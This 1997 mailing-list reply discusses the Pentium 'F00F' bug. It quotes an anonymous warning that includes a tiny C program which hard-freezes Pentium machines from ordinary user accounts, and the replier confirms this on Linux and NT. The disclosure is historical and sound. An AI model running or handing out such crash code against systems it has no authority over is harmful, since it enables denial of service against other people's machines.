From: minyard@acm.org (Corey Minyard) Subject: Re: WARNING: Serious Pentium Bug 8 Nov 1997 10:43:11 -0800 Message-ID: References: To: gnu-win32@cygnus.com Anonymous writes: > > There is a SERIOUS bug in all pentium CPUs. The following > code will crash any machine running on a pentium CPU, MMX or no > MMX, any speed, regardless of OS (crash as in instant seize, hard > reboot the only cure): > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > main () > { > void (*f)() = x; > f(); > } > > This require no special permissions to run, it works fine with > average-joe-userspace permissions. I have verified this, it works. > Demand a new CPU from Intel. > I tested it on an Intel Pentium 166 MMX and on a Cyrix 686L 166. It did lock up the Pentium but the 686 correctly reported an illegal instruction. I tried it under Linux and NT, So it is not just a Microsoft OS problem. This does look pretty serious. Demand a new CPU? I'm not sure what Intel will do about this one. Who is this and how long did you look for this? Perhaps Cyrix or AMD :-? I think that finding this would be a pretty momentous thing, I'm not sure I would go anonymous. -- Corey Minyard Internet: minyard@acm.org Work: minyard@nortel.ca UUCP: minyard@wf-rch.cirr.com - For help on using this list (especially unsubscribing), send a message to "gnu-win32-request@cygnus.com" with one line of text: "help".